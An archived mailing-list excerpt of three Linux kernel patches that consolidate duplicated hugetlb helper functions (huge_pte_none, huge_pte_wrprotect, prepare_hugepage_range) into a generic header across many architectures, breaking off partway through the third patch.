X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Thu,  5 Jul 2018 11:07:11 +0000
Lines: 178
Approved: news@gmane.org
Message-ID: <20180705110716.3919-7-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789173 5966 195.159.176.226 (5 Jul 2018 11:12:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:12:53 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:12:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2Bq-0001Lt-HE
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:12:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753830AbeGELOu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:14:50 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:41523 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753439AbeGELOr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:14:47 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id C032E1BF208;
        Thu,  5 Jul 2018 11:14:40 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812290 gmane.linux.ports.arm.kernel:660993 gmane.linux.ports.ia64:28917 gmane.linux.ports.mips.general:65307 gmane.linux.ports.parisc:28769 gmane.linux.ports.ppc64.devel:159718 gmane.linux.ports.sh.devel:57190 gmane.linux.ports.sparc:28092 gmane.linux.kernel.cross-arch:45041
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812290>

arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 047b893ef95d..3d2ce4dbc145 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0b02856aa85b..3562d46585ba 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8347d5abf882..c5fdc53b6e41 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 07/11] hugetlb: Introduce generic version of huge_pte_wrprotect
Date: Thu,  5 Jul 2018 11:07:12 +0000
Lines: 182
Approved: news@gmane.org
Message-ID: <20180705110716.3919-8-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789243 12065 195.159.176.226 (5 Jul 2018 11:14:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:14:03 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:13:57 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2Cu-0002s8-Nd
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:13:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753915AbeGELQB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:16:01 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:35957 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753488AbeGELP6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:15:58 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id D88F7C000D;
        Thu,  5 Jul 2018 11:15:45 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812291 gmane.linux.ports.arm.kernel:660994 gmane.linux.ports.ia64:28918 gmane.linux.ports.mips.general:65308 gmane.linux.ports.parisc:28770 gmane.linux.ports.ppc64.devel:159719 gmane.linux.ports.sh.devel:57191 gmane.linux.ports.sparc:28093 gmane.linux.kernel.cross-arch:45042
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812291>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
architectures use the same version of huge_pte_wrprotect, so move
this generic implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 5 -----
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 7 insertions(+), 45 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 3d2ce4dbc145..1e718a626ef9 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 49247c6f94db..1fd64ebf0cd7 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index bf573500b3c4..82fe3d7a38d9 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 1c9c4531376c..b3d6bb53ee6e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index c09d8c74553c..5a102d7251e4 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3562d46585ba..7123599089c6 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index a9f8266f33cf..54f65094efe6 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 11115bbd712e..f661362376e0 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index c5fdc53b6e41..19668672ab37 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 2fc3d68424e9..cd9697672b79 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 08/11] hugetlb: Introduce generic version of prepare_hugepage_range
Date: Thu,  5 Jul 2018 11:07:13 +0000
Lines: 217
Approved: news@gmane.org
Message-ID: <20180705110716.3919-9-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789305 17210 195.159.176.226 (5 Jul 2018 11:15:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:15:05 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:14:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2Dw-0004Fj-Uv
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:14:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753913AbeGELRE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:17:04 -0400
Original-Received: from relay4-d.mail.gandi.net ([217.70.183.196]:39807 "EHLO
        relay4-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753518AbeGELRC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:17:02 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay4-d.mail.gandi.net (Postfix) with ESMTPSA id 5409EE000B;
        Thu,  5 Jul 2018 11:16:55 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812293 gmane.linux.ports.arm.kernel:660995 gmane.linux.ports.ia64:28919 gmane.linux.ports.mips.general:65309 gmane.linux.ports.parisc:28771 gmane.linux.ports.ppc64.devel:159720 gmane.linux.ports.sh.devel:57192 gmane.linux.ports.sparc:28094 gmane.linux.kernel.cross-arch:45043
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812293>

arm, arm64, powerpc, sparc, x86 architectures use the same version of
prepare_hugepage_range, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 11 -----------
 arch/arm64/include/asm/hugetlb.h   | 11 -----------
 arch/ia64/include/asm/hugetlb.h    |  1 +
 arch/mips/include/asm/hugetlb.h    |  1 +
 arch/parisc/include/asm/hugetlb.h  |  1 +
 arch/powerpc/include/asm/hugetlb.h | 15 ---------------
 arch/sh/include/asm/hugetlb.h      |  1 +
 arch/sparc/include/asm/hugetlb.h   | 16 ----------------
 arch/x86/include/asm/hugetlb.h     | 15 ---------------
 include/asm-generic/hugetlb.h      | 15 +++++++++++++++
 10 files changed, 19 insertions(+), 68 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 1e718a626ef9..34fb401efe81 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -32,17 +32,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 1fd64ebf0cd7..3e7f6e69b28d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 82fe3d7a38d9..cbe296271030 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len);
 
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index b3d6bb53ee6e..6ff2531cfb1d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 					 unsigned long addr,
 					 unsigned long len)
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 5a102d7251e4..fb7e0fd858a3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 7123599089c6..69c14ecac133 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -117,21 +117,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 54f65094efe6..f1bbd255ee43 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
